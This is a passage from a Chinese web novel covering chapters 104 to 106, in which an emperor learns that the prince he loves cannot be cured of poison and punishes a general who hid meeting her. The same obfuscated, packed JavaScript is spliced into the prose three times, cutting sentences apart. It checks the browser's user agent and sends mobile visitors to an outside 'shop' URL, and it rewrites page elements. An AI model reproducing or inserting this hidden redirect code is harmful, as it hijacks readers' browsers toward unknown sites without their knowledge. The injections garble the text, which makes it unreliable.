翻来覆去,直到夜过大半,姜六航才迷迷糊糊地睡着了。 京城菜市场,万头攒动,今禾姐背上插着白色斩牌,上写着鲜红的“宋今禾”三字,划了一个大大的叉。今禾姐的头被压贴在刑凳上,脖子伸得老长。皇帝高坐刑台之上,神色沉沉,甩手扔出一支红色令签,高声大喝:“斩!” “楼主!楼主啊!”刑台下,观野哭喊着往前扑。 姜六航也在往前冲,却不知被什么束缚住,过不去。 今禾姐忽然朝向她的方向,水汪汪的桃花眼望着她,道:“衡妹妹,你替我照顾观野啊。” 刽子手挥刀朝今禾姐的脖子劈去,姜六航一急,突然挣开了束缚,冲到了皇帝面前,大叫:“大哥!你快把今禾姐放了!” 大哥握住她的手:“六航,我给你把王府布置好了,我们一起去看看。” “航航!你的身体撑不住了,你不能跟他去,统马上带你离开!”脑子里,999的声音忽然响起,满是焦急。 一晃眼,她到了一间地牢,方三被墙壁上的铁环吊住,身上到处都在流血,大哥坐在方三前面的一把太师椅上,冷冷地道:“打!” 冯简一鞭连一鞭,“噼噼啪啪”打过去,方三涕泗横流,惨叫道:“我招!我招!衡王就是姜指挥,小灰跟着她到了姜丞相家里!” 姜六航猛地惊醒,睁开眼瞪着黑黢黢的帐顶,半晌抬手拍了一下额头。 这都是些什么乱七八糟的梦啊! —— 其后的两天,各队仍然没寻到见过姜衡的人,玉灵县基本搜遍了。 这天收队后,姜六航复命时,冯简告诉她,明天辰时启程回京。 晚上,姜六航睡不着,恐怕又做些乱七八糟的梦,干脆起来,出了军帐,在附近走走。她想着,等身体疲累了再睡,自然睡得沉,不会再做梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131750|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山上很安静。 武林人士都已离开,只有巡逻的军士时而经过。他们提着灯笼,行动迅捷无声。 姜六航信步而行,直到被军士拦住,她才恍过神——不知不觉,她竟走到了两座木屋这里。如今皇上住在这里,周围防守严密,特别是晚上,非有紧急军情不得入。 她正要转回,一个军士过来,“姜指挥,皇上让你过去。” 军士带着姜六航走到两座木屋的中间,三棵松树的那里,随即退下。 皇帝坐在松树旁的木凳上,冯简立在他的身后,手上提着一盏明亮的灯笼。 “皇上。” 姜六航向坐着的人见礼,一边瞄着冯简提着的灯笼,心里想道:“大哥不怕火了?” “坐。”秦信示意旁边的另一个木凳。 姜六航坐下,心中惴惴。大哥叫她来做什么? “姜指挥小时候看见母亲被害,心里很害怕吗?”那双凤眸看过来,里面盛着灯笼映入的亮光,没了以前对着她的复杂情绪,只如对着一个普通臣子,声音里含着歉意,“姜指挥不想说,可以不说。” 姜六航定了定神,回道:“是,臣很害怕。” “害怕得说不了话?不敢见人?” 姜六航不知大哥问这些干什么。 以前问,是因为怀疑,可看大哥此时的神色,已经消除了对她的疑心,那为什么还要探问她的过去? 闲聊? 皇帝和姜指挥,可没有这样的私交——不,根本就没有私交。况且,她不认为此时此地,皇帝有闲聊的心情。 脑中转着念头,嘴上却没迟疑,道:“是,所以臣父带着臣去了北狄。在北狄时,臣一直戴着面具,不能说话。去年臣回中原,失去了记忆,这才能说话了。” “你有一个好父亲。” 姜六航听到这话,想起了裴永年。她不知道大哥说这话时,是否也想起了那个畜牲,怀着羡慕和感慨。但听大哥的语音,只是一句简单的陈述,里面没有什么多余的情绪。 姜六航不欲多说,免得勾起大哥不好的回忆,简短地答道:“是。” 身边静默了下来,过了一会,才有低低的声音响起:“她那时也很害怕,却没人护着她,只有辱骂和追杀,和刀劈斧削的疼痛。” 这句说得又低又轻,不像和人说话,而是自语。 大哥的眼神没有焦距,虚虚地落在松树上的那三个字,嘴唇上一点血色也没有。 他没有说出名字,可姜六航知道,大哥说的是她! 是啊,她那时很害怕。 害怕这世上再没了爹娘。 又害怕,又悲痛,又愤恨。 大哥声音中浓浓的怜惜笼上她。 这一刻,姜六航只想像那年在梁州一样,扑到大哥怀里痛哭一场。 就在这时,今晚值夜的沈以贵带着一个军士匆匆来了。 军士满身风尘,拱手道:“皇上!裴国公遣属下来送信。” “拿住宋今禾了?”秦信直起身子问,脸上显出一点急迫。 姜六航攥紧手,绷紧了神经。 “回皇上,没有。” 这声出来,姜六航猛松了口气,几天来身上的沉重卸去了一半,秦信却是面上掠过明显的失望。 “怎没拿住?楼里其他的人呢?抓了哪些人?” 军士低了头:“回皇上,裴国公率兵赶到时,楼里已空无一人,里面的书册、记录也都搬空了。” “好一个宋今禾!” 几人偷眼瞧去,却见皇帝冷峻的脸上含了一丝怒意,眉梢微扬。 “皇上,是否传信让裴国公收兵回京?”冯简试探问道。 秦信沉吟未答,正此时,左卫将军来求见。 “皇上,京城太医院来信了!”左卫将军捧着一封信疾步走来。 秦信猛地站起,等不及左卫将军走到面前,迎上两步接过信。 信被拆开。 几人都眼巴巴地望着。 秦信一目十行看完,忽地呛出一口血,落到信纸上。 104. 第 104 章 纸上的鲜血触目惊心,几人都惊叫出声。 冯简最先扶住皇帝的胳膊。 姜六航扑过去,扶住了皇帝的另外一只胳膊。一上手,她就感觉到这人在发抖,抬头见到面前人苍白的脸透出的灰败,唇上沾着的鲜红血丝,顿时心一紧。 姜六航已经猜到信上所写,对此毫不意外。 早知会是这个结果。 从庸叔叔医术天下第一,连他都不能治,得了天心草才有转机,其他人怎可能治得她的病? 只是她没想到,大哥乍闻这个消息,竟然被刺激得吐了血。 “快叫大夫!”冯简急声喊道。 有军士应声而去。 大夫还没看过,冯简不敢让皇帝回屋,恐怕移动加重伤势,要先扶着他在木凳上坐下。 秦信却不肯动脚,他手中还攥着那张纸,忽地唤道:“管将军。” 左卫将军连忙应道:“臣在。” “传信给裴国公,搜查百晓楼,看可有留下线索。” “是!” “百晓楼主院的东耳房,衡王曾在那里住过,让裴国公把那里及其左近的地挖开,看看是否埋有物什。” “是!” “你率兵去童翼府宅,检查除了那块令牌,衡王是否还在地下埋有其它物什。” 又是挖地?左卫将军心里嘀咕,但皇帝神色肃厉,容不得他多想多问,赶紧应下:“是!” “沈将军。” “臣在。” “你安排军士到各州,命各州太守张贴皇榜,召擅解毒之人到京城。上至府城,下至村庄,皇榜皆需张贴到,不可遗漏一地。” “是!”沈以贵领命,迟疑了一下,问道,“皇上,是……衡王的病不好吗?” 秦信的目光落到手中沾染上鲜血的信纸,眼神发直,声音中带着明显的颤抖:“太医们说,衡王能活到现在,实在,不可思议。他们,无能为力。” 无能为力? 冯简、管锋、沈以贵俱都骇然失色,心口直发凉。 太医们一般很少把话说绝,有八分把握治愈的只说成六分,病入膏肓的也要留一分希望,这回说得这般斩钉截铁,情况大大的不妙。 冯简和管锋对视一眼,两人想问问信上具体怎么说的,又怕更加刺激皇帝,一时面面相觑,都不敢出声。 “怎会无能为力?不是说两年吗?将……鬼手神医说的,两年后回来。”沈以贵脱口而出。话落,他突然想到另一种可能,脸色瞬间惨白。 那时将军亲口说,要去一个很远的地方,两年后回来。如今他知道,那地方原来就是北狄,将军原来是去治病。 可将军又说,如果两年后没回来,便是在那里安顿下来,不再回来了。 到底是安顿下来,还是……病治不好,回不来了? 在场的人中,只有姜六航听出沈以贵差点说漏了嘴,脱口而出“将军”两字,其他人都以为他话里的意思是先前破山剑曾说过,鬼手神医说两年后从北狄回来。 他们和沈以贵一样,几乎同时想到了,鬼手神医只说两年后回来,没说两年可除掉衡王体内的毒性。 左卫将军见皇帝神色中透出绝望,眼神直愣愣的,像是不会转动了,心里一个咯噔,生怕皇帝又吐出一口血来,连忙故作轻松地道:“太医们没办法,可鬼手神医医术卓绝,江湖上传说他能从阎王手中夺命,定能治好衡王!沈将军,你说是不是?” 可沈以贵一副失魂落魄的样子,没接上他的话。 他又朝姜指挥看去,想着示意姜指挥顺着他的话,宽慰一下皇上。 可姜指挥根本接收不到他的眼色,她扶着皇帝的胳膊,专注地望着皇上,仿佛眼里只有这一个人,神情中满是关切和担忧。 这…… 没等左卫将军再想什么,皇帝突然猛地用力,挥开扶着他胳膊的两人,朝木屋急步走去,一边口中不绝地下令:“召温涟!派人给京中传信……” 冯简紧追上去:“皇上!您先别动,等大夫来看过!”若是内腑受了伤,这般急走,岂不是伤上加伤? 秦信充耳不闻,继续往前去了。 姜六航不由得也跟着追了两步,衣袖忽地被人扯住,她回头,左卫将军神色复杂地望着她,道:“别追了。” 左卫将军是好心。 姜指挥对皇帝情根深种,刚才见皇帝吐血,姜指挥那是一下没停顿地扑上去了。但皇帝此时心情最是不稳的时候,姜指挥凑上去,讨不着好。 姜六航可不知左卫将军所想,她和冯简一样,担心皇帝伤势加重,只想着去劝说皇帝停下,先等大夫看过。可袖子被扯得紧,再拉就要撕破了,无奈,只得止步,道:“管将军,您松松。” 左卫将军叹着气:“你追上去也没用。当年在衡王的王府,挖出……那个尸体,那是火场的最后一具尸体,特征也符合,大伙都以为是衡王,那时候皇上也是吐了一口血。迟尚书、冯统领……那么多人劝着都没用,直到亲手把那尸体检查了一遍,姜丞相带着军士重又开始搜索火场,皇上才让陈院使看诊。这回,皇上也定是要把事情都安排下去了,才会坐下来诊病。” 听到皇帝在火场里吐了血,姜六航脑子里“嗡”的一下,无数声音在里面作响,根本没听清左卫将军后面的话。 她下意识转头。 皇帝和冯简已经消失在夜色中。 想象当年火场的情景,姜六航五脏六腑都被拧成了一团,生生地疼。当年她只是看一眼爹娘的尸身,就已是五内俱焚,摧心裂肝,大哥亲手确认尸体是否自己所爱,心中该是何等伤痛! 失去的疼,一次就够了,她绝不让大哥再受一次! 在毒性去除之前,一定要捂好最后一层马甲,不让大哥知道。 这一刻,姜六航握紧拳,暗自下定决心。 左卫将军松开姜指挥的袖子,见她怔怔地抿着唇,只觉一个头两个大,眼前一团乱麻。 衡王的病情不妙,皇上的情况令人忧虑,姜指挥又这样……唉,姜指挥也是不世出的人才,军事天赋直追衡王,可惜注定要受一番情伤了。 左卫将军又叹了口气,再往旁边一看,沈伯爷还是那副失魂落魄的样子,愣愣地望着皇上离去的方向。 “沈将军!沈将军!” 叫了两声,沈以贵才被叫回魂,左卫将军道:“你也别急,先听皇上的吩咐,派人去各州。天下之大,未必不能找到可治好衡王的奇人异士。” 沈以贵低低地应了一声,声音粗粝,神思不属地走了。 左卫将军也和姜六航告别,点兵赶去顺州童翼府邸。 —— 云山的气氛蓦然紧绷起来,深夜,十几队兵马从云山下来,骑着骏马,飞驰去各地。 消息飞快传播,当晚,军中所有人都知道了太医们对衡王体内的毒束手无策,悲伤、哀痛的气息弥漫。 第二天未能按计划启程往京城,冯简传下皇帝的命令,锦衣卫和御林军分头行事,在玉灵县和云山展开更细致的调查和搜查,以期寻到有关衡王踪迹的线索。 温涟昨晚见过皇帝后就领了圣命,而御林军这边,冯简一大早就亲自向沈以贵以及三位指挥传令。冯简需得护卫在皇帝身边,左卫将军去了顺州,带着御林军搜寻的事,由沈以贵负责。 传达命令后,冯简正要离开,被姜六航叫住。 “冯统领!”姜六航示意他到一边。 冯简跟着她走开几步,离沈以贵四人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131751|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远了些,“姜指挥有何事?” “冯统领,皇上的身体不要紧吧?”姜六航低声问,恳切地道,“我知道皇上的身体情况是机密,不能轻易告诉人,我只是,很担心,万望冯统领告知一二。” 冯简沉默片刻,道:“无大碍。皇上这是旧疾,好生调养就好了。” 姜六航眉眼松动,欣喜道:“那就好。” 这喜悦的神色落入冯简眼中,让他心中五味杂陈。姜指挥也是世间难得的女子,可惜皇上心中有了人,不可能回应她的这份感情。 连着三天,一无所获。玉灵县和云山都被翻了个底朝天,再无可查。这天晚上,姜六航等人收队回云山的时候,一路上听见军士相传,在梁州找到了一位擅于解毒的圣手,被带来了云山。 云山上沉闷了几天的气氛终于有所缓和,军士们纷纷道: “太医们医术当然高明,但这毒不比其它,有时候要用偏方,民间的大夫治起来,说不定有奇效。” “对啊对啊,皇上在到处贴榜,到时候把所有擅于解毒的大夫都集中起来,总能商量出一个办法。” 郑大海听得露出喜色,连连道:“说得极是!” 鲁指挥却是忧色不减,摇头道:“可是找不到衡王怎么解毒?难道不需诊脉,只看增气丹的配方就能做出解药?” 郑大海迟疑道:“那不行吧?” 鲁指挥:“我也觉得不行。各人体质不同,即使寻常的受寒,也得诊脉才开方,何况这让太医们都无可奈何的丹毒?” 郑大海焦急道:“那怎么办?找了这么久,一点衡王的踪迹都没找到……” 一行四人,只有郑大海和鲁指挥说得热闹,另两人俱都沉默不言。 姜六航是怕多说多错,不问到她头上,她不主动开口,而沈以贵…… 姜六航侧头看去,昔日的近卫眉头紧锁,神色惶然。 从三天前,接到京城来信的晚上开始,近卫就神色不对,脸上再不见一丝笑容,又时而走神,一幅心事重重的模样。 是在担忧她吧? 第四天,御林军未再出动,收拾停当后在云山待命。 姜六航估摸着今天会启程转回京城,吃过早餐后,她在军帐附近转悠。这回她注意着,没往木屋的方向去。 转了一会,前头路上过来一人,正是沈以贵,姜六航连忙打招呼:“沈将军!” “姜指挥。”沈以贵明显心不在焉,应了一声,连句寒暄的话也未说,越过她往前去了。 看那方向,却是往木屋去的。 可能有什么事要向冯简禀报吧? 那背影渐去渐远,姜六航思索着收回目光。 —— 沈以贵不知身后他心心念念的将军正注目自己的背影,他毫无所觉,径直向前。实际上,这几天他一直处于浑浑噩噩的状态,对外界的感觉和警觉降到了极低。 他翻来覆去地考量、忖度、权衡,要不要告诉皇帝,去年八月,将军曾与他联系。 将军吩咐他,不要告诉任何人。 他该听将军的话。 他从未违背过将军的指令。 可是,如果耽误了将军治病呢? 鬼手神医确实医术高明,可是多一个人给将军看看,就多一分希望。正如军士们所说,那么多擅于解毒的名医集中到一起,说不定就能商讨出解毒的办法。 将军为大局计,死遁后悄悄治病。 可他管不了那么多。 他只要将军活着。 不知不觉,已经到了皇上的寝居门口,沈以贵深吸一口气,脸上几日来的踌躇一扫而空,取而代之的是无比坚定,对守在门口的军士道:“请通报,御林军右卫将军沈以贵,求见皇上。” 105. 第 105 章 房内,皇帝坐于书案后,冯简侍立在他身后,另有一白眉白须的老者,正是闻名天下的学者顾老先生。为以示尊重,皇帝特意赐下座椅,令他坐于侧旁。 桌案上分门别类摆放着四摞字画,皇帝把其中的一摞推到老者面前:“顾老先生请看。” 老者接过,却是三页纸,每张纸上各有一个符号。 厶、彳、十。 “这是……?”顾老先生声音里带着疑惑。 皇帝脸色苍白,面带病容,缓缓道:“这是从云山松树上拓下来的三个符号,朕怀疑为两位居士和赤霄剑客名字的一部分。” 顾老先生听到赤霄剑客,神情有些不自然。 当年他可写过好些斥骂赤霄剑客的文章,流传甚广,哪知赤霄剑客竟是衡王! 实在让他愧疚难当。 时间不能倒回,错事已经做了,再后悔也枉然。顾老先生定了定神,沉吟着道:“皇上所疑,甚是有理。” 秦信上身挺直,略微侧倾,眸光炯然:“朕想请顾老先生辨别一下,这三字为何人所写?” 顾老先生茫然:“怎样辨别?” “既然刻在云山松树上,又是那样三个字,大约为两位居士和衡王的手笔。这里有三位的字迹,可供对照。”秦信示意桌上的另三摞:“顾老先生你看看,那三字中,可有与之相似者?” 顾老先生愕然。 他盯着手上三个简单的未完成的字,不敢相信皇帝提出这样的要求。 鉴定字迹,需大量的样本对比,就这样的三个符号,想要得出准确的结果,简直是天方夜谭! 皇上也是饱学之人,这样简单的道理,不可能不懂吧? 正要直言拒绝,目光恰瞟到云山居士姜允亲笔所写的诗赋。 诗赋倒罢,他能一口气背下来,但这是云山居士亲笔所写! 云山居士的字,那也是一绝! 再往旁一看。 是柳溪居士的画! 顾老先生到喉咙口的话顿时哽住了。 先看了再说! 他放下写着三个字的纸张,拿起诗赋和画作,细细观摩。 期间,听到皇帝的声音道:“请顾老先生把字画上居士的署名和拓下的‘厶’、‘十’两字仔细对比。” 他随口应着:“嗯,好。” 他觉得没看多久,耳边又响起了皇帝催促的声音:“如何?可能看出?那三个字里,有没有两位居士的笔迹?” 顾老先生不舍地放下字画,做出惭愧的神色:“草民看不出。” 他就不信,这世上有人敢凭寥寥几笔下决断。 “不要你断言。”秦信盯着他,“顾老先生只告知朕,你心中可有所疑?” 顾老先生抚着白须,白眉皱起,面色迟疑:“这个……”他摇头,迟迟未语。 皇帝声音中透出压迫:“顾老先生只管直言,今日之言不会入第三人耳。若有不对,也不会损及老先生声望。” 皇帝眼中了然,分明看透了他的心思。 也罢,只当是为补过吧。 皇上正在召集天下名医,可若寻不到衡王,终是空忙一场。他能尽一份力,就不要只顾着自己那点名声了,尽一份力吧。 虽然他不知道,这三个字对找到衡王有何帮助,但皇帝这样重视,总有道理。 “皇上,您看,这个‘厶’,和云山居士诗赋上署名的‘允’字相比,这里的笔势……” 顾老先生分析了一通,总结道:“所以草民觉得,这个‘厶’字,大概是云山居士所写,而这个‘十’字,大概是柳溪居士所写。” 又强调道:“因这两个字是在云山上发现的,草民才如此猜测。”若是在别的地方发现,无论皇上怎样逼迫,他也万不敢信口开河。 皇帝默了一瞬,没有多言,推过来第四摞,却没放手,手指压在纸张边缘:“这是衡王的字迹,顾老先生请看。” 顾老先生视线在皇帝恍若无意的脸上扫了一圈,瞬即收回,抚着白须,也没去碰皇帝压着的纸,只低眼往上瞧去。 纸张用透明薄膜包裹着,字迹狂放潦草,看清内容,顾老先生吃了一惊,手上力气一重,扯断了一根胡须。 纸上竟是衡王“临终”所写,拜托皇帝寻找两位居士的遗骨。 当然,包括他在内,现在很多人都已经知道,那场大火,其实是衡王的安排,借以死遁,杜绝小人利用她的名头作乱。 只稍看几眼,顾老先生便道:“那个‘彳’字和这个笔迹不同,除非后来衡王曾刻意练习,改变字迹。” 秦信未语,揭过这页,露出下面的一张,同样用透明薄膜包裹着。 “顾老先生,你看这个呢?这是衡王前几年暗中交给朝廷的斩月楼余孽名单。” 顾老先生注目看去,甫一触到那字迹,瞳孔骤缩,不由得闭了眼。 太、太、太丑了! 尤其是对于他这等大学者,一般都是颇有根骨的字才拿到他面前,而眼前的,实在是……不堪入目! “见笑了。”皇帝声音里透着解释的意味,“因衡王那时要掩饰身份,这字是她左手所写,有些拙笨,其实她原来的字还看得的。” “啊?左手?难怪。”顾老先生睁开眼,强迫自己往纸上再瞧了一眼,道,“也和那个‘彳’字不同。” 秦信哑声说道:“那么,那个‘彳’字,大概是衡王十五岁之前的笔迹。衡王现在若要写字,那两种字迹不能用,只能用十五岁之前的字迹。” 顾老先生不可思议地道:“皇上您想用这个字找出衡王?难道把天下所有人的字都拿来和这个对比?” 他正满心震惊,却见皇帝奇怪地看他一眼,似乎很纳闷他想出这样一个主意。 “哪有这样多人力?天下文人何其多,此无异于是大海捞针。再说,即使把所有人的字都摆在眼前,也不可能凭这半边字找出衡王吧?” 顾老先生:“……” 他不由得老脸一红。 都怪皇……不不不,是怪他,被皇上先前的系列要求惊着了,刚才听见皇上的话,竟冒出那样离谱的念头。 “虽不能由此找出衡王,却可作为佐证。若有疑为衡王之人,可比对其字迹。” 顾老先生连连点头:“皇上圣明!” 正此时,军士来报,御林军右卫将军求见。 顾老先生告退。 沈以贵进来,走到房子中央,面对着皇帝,直挺挺跪了下去。 秦信:“怎么回事?” “臣犯了欺君之罪,请皇上责罚。”沈以贵磕下头去,额头碰到地面。 “你先说说,骗了朕什么?”皇帝的声音里没有什么怒意。 他对六航的两个近卫一向优容。 且他不觉得沈以贵能做出什么太出格的事,最多就是酗酒渎职罢了。欺君之罪,说大是大,说小也小。谋反叛国是欺君,说了句无伤大雅的谎话也是欺君。 立于皇帝身后的冯简此时也没太紧张。 沈以贵保持额头触地的姿势,背脊低伏,语音沉重地说道:“去年八月,皇上问臣,为何突然振作,臣回说是因梦见将军。臣妄言欺君,其实并没梦见将军。” 秦信目光微凝:“哦?那你又是为何振作?” “是将军来找了臣。” “你说——”秦信霍然站起,呼吸停止,“将军找了你?” “是。”沈以贵绷着下颌说道,“将军找到臣的府上。” 秦信一阵晕眩,身子晃动,撑住桌面稳住了,口中一个问题接着一个问题没有丝毫停顿地问道:“她找你干什么?” “将军让臣给她在皇宫寻找天心草。” “天心草?” “是一种用于治病的奇草,产于平沙国,早年曾传入中原,但早已绝迹。” “治病……”秦信手攥成拳,他前面就在反复想,六航为何要去北狄?这样看来,是除毒需要些药材,除了平沙国的天心草,可能还要北狄的什么,“找到了吗?” “找到了,在冷宫里,有三株。” “你给将军挖走了?” “没有,将军让臣再不要管此事。这次出京之前,臣去看了,天心草还在那里,一片叶子都没少。” “将军不让你管此事,后来呢?你再见过她没有?” “臣一共只见到将军两次,一次是将军来让臣找天心草,还有一次就是臣找到天心草后。第二次见面,将军说,她要去一个很远的地方,两年后回来,如果两年后没有回来,那就是……不回来了。那次之后,将军再没出现过。” 不回来—— 是不能回来了吧? 喉中蓦地涌上一股血腥,秦信咬着牙,咽了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137041|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,再开口时,声音愈加急迫:“你看到将军的脸了?”如果是原本的脸,他就可以根据沈以贵的描叙画下来。 “将军戴着帏帽,声音也变了。” 他眼底期冀的光蓦然熄灭。 心底无数情绪像海浪涌上,惊、喜、怒、痛混杂,一下下地撞击着他,当目光最终落到跪地之人按在地上青筋凸起的手背时,滔天怒火掩盖了其它情绪。 先前陡闻衡王消息,被急切压下的被隐瞒的恼怒“砰——”地像火焰窜起。 “你既见到将军,为何不禀告朕?” “沈以贵!你安敢如此!” “你敢如此欺朕!” 六航顾着大局,顾着天下,不愿让人知道她活着,拖着病体,亲自去到千里迢迢的北狄寻药。很可能像十年前赶来玉灵县一样,一路承受蚀骨疼痛。 在她疼痛时,他甚至连抱她一下都做不到! 他本可以在去年八月就寻到六航的! 在去年八月,他就可以召集天下名医,为六航诊病,可以派遣专人到北狄,到其它任何地方,寻到需要的药材,六航只需在宫里等着。 可沈以贵却瞒了他! 愤怒如烈火在胸腔焚烧,秦信猛地推开桌案,奔过去取下墙上挂着的赤霄剑,“锵——”地一声抽出剑来,大步到跪在房中的人面前,寒光闪烁,一剑刺去。 “皇上息怒!”冯简吓得魂飞魄散,“扑通”跪倒在地,“皇上!手下留情!” 剑尖抵住地下人的后颈,在冯简胆战心惊的视线里止住。 右卫将军纹丝不动,也未出言辩解,只颤声道:“臣万死!” “你是该死!万死不能赎罪!”剑尖往前,刺得后颈渗出血珠,皇帝的呼吸急促,接到京城来信后,数日压抑的恐惧喷薄而出,字字如浸着血腥,“你任她离去!如今,她不知在哪里熬着病痛,就是……死在了哪里,我们也不知道!” 想着那人远离家乡,身在异国,或许正蜷缩在一处荒郊野地,或是无名之地,忍受着毒发,他的心如同刀刺。更让他想都不敢想的是,或许,此时、此刻,那人早已不在人世。在他不知道的一个明媚晴朗的下午,或是凄风苦雨的夜间,那人早已死去,而他却无知无觉。 在对沈以贵的冲天怒意中,他也深深地恨着自己。 为何就那样轻易地被骗过去了呢? 为何就没再仔细地问一问、查一查呢? 血红着眸色,皇帝把剑又往前递了一寸。 血珠连成线,从颈间滴落到地上。 右卫将军身体颤抖,喉间发出呜咽声,额头触地之处蔓延出水迹,不知是汗水,还是眼泪。 “皇上!”生怕皇帝一剑刺到底,冯简膝行过去,伏到皇帝脚下,叩首道,“沈将军当时也不知衡王身中有毒,不然定会禀告皇上!他也是遵照衡王的命令,请皇上念在他对衡王的忠心,从轻处罚!” 秦信眸中神光翻涌,陡地一脚踢过去。 肩头受到巨力,沈以贵疼得脸色煞白,向后翻倒。不等他爬起,秦信上前一步,又是一脚踹了过去,把他踢得向后滚了一圈。 再次跪好时,剑尖直指他的面门,威压如山,从上直压下来。 皇帝的声音冷肃,咬着牙一字一顿道:“把你和衡王见面的情形,每一个细节,说的每一句话,一点都不要漏下地,全部告诉朕!” —— 另一边,姜六航在山中转悠到将近午时,还未接到启程的通知,心下不由觉得奇怪。她转回去,打算探听一下消息,刚走到军帐旁,郑大海急冲冲地跑过来,满头的汗,大叫道:“姜指挥!不好了!皇上要打沈将军军棍!” 姜六航大惊,一边跟着郑大海往前跑,一边问:“沈将军犯了何事?” “不知道!皇上只让打!” “要打多少?” “皇上没说打多少!冯统领问,皇上也没答复!” 姜六航心猛地一沉。 在军中,罚军棍却不说数目,那只意味着——打死为止。 姜六航悚然,一股寒气从脚底板直冲到天灵盖,浑身冷嗖嗖的,舌头都僵住了。 她再顾不上问话,和郑大海闷头往前跑,恨不能一下飞到。 到底为了何事,大哥下这样的狠手? 打了多少了? 沈以贵……还活着吗? 106. 第 106 章 行刑地就在木屋前面的空地,已经围着了一些人。 沈以贵被压在木凳上,一个军士举着三尺黑漆木棍击打,另有军士在旁数着:“二十、二十一……”随着军棍落下,凳上的人发出压抑闷哼,从腰到腿的衣裳被由内而出的血浸湿。 军士击打的频率不高,眼神不住地瞟向紧闭的房门,明显在拖延时间。 可房门口一直没有动静,那门始终闭着。 “姜指挥,怎么办?”郑大海急得跺脚,“我们就这么眼看着沈将军被打死?” “二十四、二十五……” 再是拖延,那棍子也不能停下,一声声的数数像锤子敲打着姜六航的心脏,她攥紧手,咬了咬牙,走到门前,大声道:“臣,御林军指挥姜恒,求见皇上!” 房内,冯简正焦急地一眼眼瞄着坐于桌案后的皇帝。屋外行刑的响动使他一颗心火急火燎,屋内皇帝的情形又让他心惊肉跳,整个人被两头拉扯,神经紧绷到了极致。 不久之前,皇上问清去年衡王和沈以贵两次见面的详情后,就命军士把沈以贵拖出去行刑。他请示军棍数目,皇上只漠然地摆手。 之后,皇帝就坐在了书案后,抽出腰间的匕首,指尖在刃上来回轻抚,眸光明灭不定,让他一颗心提得高高的,生怕消停了这些日的皇帝又忽然要在胳膊上划几刀。 屋外数着数的声音传进来,皇帝无动于衷,一眼都未往那边望去过。 冯简背上出了一层冷汗。 难道沈以贵今天死定了? 其它事,看在衡王面上,皇上都会宽恕一二,可这件事,实在触到了皇上的逆鳞,连他也不敢深劝。 就在冯简无计可施,如同置于热锅上的蚂蚁之时,他听见姜指挥在门外求见的声音,顿时精神一振。 不管怎样,打破僵局,才有可能见机行事。 他连忙向坐于案后的人请示:“皇上,是否允姜指挥觐见?” 房里静了一瞬才响起皇帝有些沙哑的声音,“你去问问她,有何事?” 这就是不让姜指挥进来了。 冯简走过去,打开门。 姜六航喊了那一声后,立在门口等着,一会儿后,门开了,冯简的脸出现在门旁,面色严肃地问:“姜指挥有何事?” 姜六航从拉开少半边的门缝往里望去,皇帝的身影坐在书案后,低垂着眸,不知在看着手上的什么。她收回目光,对面前的冯统领道:“请皇上明示,沈将军犯事,该打多少军棍?” 她这话说得很大声,里面的人分明听到了,却未曾抬头,也未应答。 她看着冯简走到那人身边禀报,听着那头数着“二十七、二十八”,急得攥着的手心起了一层汗,却只能强自忍耐,等着那人的指示。 若是大哥决意要打死沈以贵,该怎么办? 她不可能眼睁睁地看着。 难道要自揭身份? 可是她才决定,一定要捂紧最后一层马甲,不让大哥知晓。 好在没等她纠结太久,案后那人的声音响起,暗哑沉抑:“四十棍。”说话时仍然没抬头朝门口望。 姜六航心里的石头落了下来,她都没想到这样顺利。 四十棍很重,但沈以贵有内功护身,行刑的军士又手里有数,这一顿打虽会元气大伤,得将养许久,但保住了命。 听冯简宣告数目后,周围围着的人神色俱是一松。 郑大海更是露出喜色,感激地向着房门连连作揖:“谢皇上圣恩!谢皇上圣恩!”又对姜六航道,“姜指挥,多亏了你!” 行刑军士的动作瞬间加快,四十军棍很快打完了。 郑大海招呼军士抬来木板,把右卫将军搬到上面,抬着往他的帐篷去。 姜六航随行在担架旁边,见上面的人面色惨白,喉咙中压着闷哼,显然是疼极,不由得心下难过。 近卫挨了好一顿打,几日来脸上的郁结和彷徨却消散了,仿佛卸下了重担。 “姜指挥,这回多谢你,这份恩情,我记着。”近卫在担架上虚弱地撑起一点身子,看着她,诚恳地道。 姜六航赶紧按下他的肩头:“沈将军你好好躺着,别动着了伤口。我不过问了一句罢了,沈将军不用挂在心上。” 沈以贵摇头:“若不是姜指挥问这一句,我今日这关难过。” “是啊,吓死我了,还以为沈将军今天要交代在这里了。”郑大海擦了一把额头上的汗,满是后怕,“姜指挥你胆子真是大,就那样跑去问了!” 